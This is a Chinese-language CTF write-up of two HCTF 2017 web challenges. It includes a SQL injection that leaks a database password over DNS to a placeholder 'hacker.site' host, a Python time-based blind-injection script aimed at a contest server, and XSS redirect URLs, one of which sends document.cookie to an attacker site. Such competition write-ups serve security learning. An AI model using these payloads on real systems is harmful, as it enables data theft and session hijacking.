时间过的真快,又一年的hctf结束了。记录一下自己做的两道web题。

71F645EF-12B6-498C-A18C-2A4089B21469.png

boring website

扫了一下得到www.zip。内容如下。
217130D8-6D65-4985-9A45-E9176AD856F9.png

根据题目的提示以及代码中的注释再加上一波google,我们可以得知mssql使用了link server来连接mysql,并且flag在mysql的数据库中。这里没有任何回显,且把mysql中的两个延时函数给ban了,似乎无法盲注。

先说预期解,使用dns通道来外带数据(仅限于win)。居然没想到。我好菜啊.jpg

?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')

不过真的没办法盲注了吗?仔细看下面这段php代码。

while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
    //TO DO: ...
    //It's time to sleep...
}

fetch中的参数是PDO::FETCH_ASSOC,查阅一下官方文档:

PDO::FETCH_ASSOC: returns an array indexed by column name as returned in your result set

即能够返回一个以列名为索引的数组。我们来做个实验,实验代码如下,由源码稍稍改动。

<?php
try {
   $conn = new PDO( "mysql:host=localhost;dbname=test", 'root', ''); 
}

catch( PDOException $e ) {
   die( "Error connecting to SQL Server".$e->getMessage() ); 
}

#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";

$id = $_GET['id'];

$query = "select pw from test where id = $id"; //link server: On  linkname:mysql

$stmt = $conn->query( $query ); 
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
    //TO DO: ...
    //It's time to sleep...
    echo 1;
}
?>

http://localhost/index.php?id=1
当我们的查询结果只有一行的时候,只进行了一次循环。
E125C69E-7692-4856-97FA-F2E121FDFA8D.png

http://localhost/index.php?id=1 union select 2
当我们的查询结果有两行的时候,能够进行两次循环。这都是符合预期的。
FE5E6B44-8957-4107-B9B7-11EC6B016A42.png

那么,如果我们能够查出无数行呢,理论上是不是可以无限循环造成延时?
比如我union select column_name from information_schema.columns多次。
8BEAE006-7B31-49AE-B411-4B0D86977391.png

对比一下查询结果只有1行的延时。
7D145E05-5D85-4F94-8F52-1F65A27445BD.png

再对比一下union select column_name from information_schema.columns where 1=2多次的结果。于是乎就可以使用延时盲注了。
7301CCB4-71B8-4885-A8C7-6CB769E702E9.png

原理即利用了php运行代码时的延迟。。。。?????


早上起来一看发现自己智障了,因为union多次和union一次的sql查询结果是没有区别的。好了,以上都是错误的结论。事实上就是多次查询数据库时造成的延迟2333。

题目环境中的延时效果要更加明显一点,有个坑就是注入点在url里面而url不能过长不然server会报400的错。

# coding=utf-8
import requests
import time
import threading

class sqli_scanner(object):
def __init__(self, iurl, icookie, iinput, im, idelay):
    self.url = iurl
    self.cookie = icookie
    self.input = iinput
    self.m = im
    self.delay = idelay

def doinject(self, i, num):
    payload = self.m % "ascii(substring((%s),%d,1))>%d"
    payload = payload % (self.input, i+1, num)
    a = payload
    for j in range(10):
        payload += a
    data = {'id': '1' + payload}
    try:
        r = requests.get(self.url, params=data, timeout=1)
        #time.sleep(self.delay)
        return False
    except:
        return True

def getlength(self):
    for i in range(0, 100):
        payload = self.m % "length((%s))=%d"
        payload = payload % (self.input, i)
        a = payload
        for j in range(10):
            payload += a
        data = {'id': '1' + payload}
        try:
            r = requests.get(self.url, params=data, timeout=1)
        #time.sleep(self.delay)
            #print r.content
        except:
            print 'length:%d' % i
            return i

def getvalue(self, len):
    flag = ''
    for i in range(len):
        s = 33
        t = 126
        while (s < t):
            m = (s + t) / 2
            result = self.doinject(i, m)
            if result:
                s = m + 1
            else:
                t = m
            if (t - s <= 1):
                if (self.doinject(i, s)):
                    m = t
                    break
                else:
                    m = s
                    break
            #print m
        flag += chr(m)
        print flag
if __name__ == '__main__':
    url = 'http://106.15.53.124:38324/'
    sqli_input = "select password from secret" 
    cookie = {}
    m = " union select * from openquery(mysql, 'select column_name from information_schema.columns where if(%s,1,0)')"
    delay = 0
    s = sqli_scanner(url, cookie, sqli_input, m, delay)
    length = s.getlength()
    s.getvalue(length)

WechatIMG181.jpeg

这种做法不值得推荐,不过思路可以供大家参考一下。

A World Restored & A World Restored Again

xss题,有两个flag,只拿到了第一个。其实拿到第二个flag的条件也很简单,因为flag2的有效域为2017.hctf.io,所以auth.2017.hctf.io域的xss就能打到cookie。然而当我看到auth域和messbox域的cookie都是httponly的时候就没往打cookie的思路去想了。

flag1:

http://auth.2017.hctf.io/login.php?n_url=http://{you_website}

flag2:

http://auth.2017.hctf.io/login.php?n_url=http://{you_website}/?cookie='+document.cookie;//

官方wp

HCTF2017-官方Writeup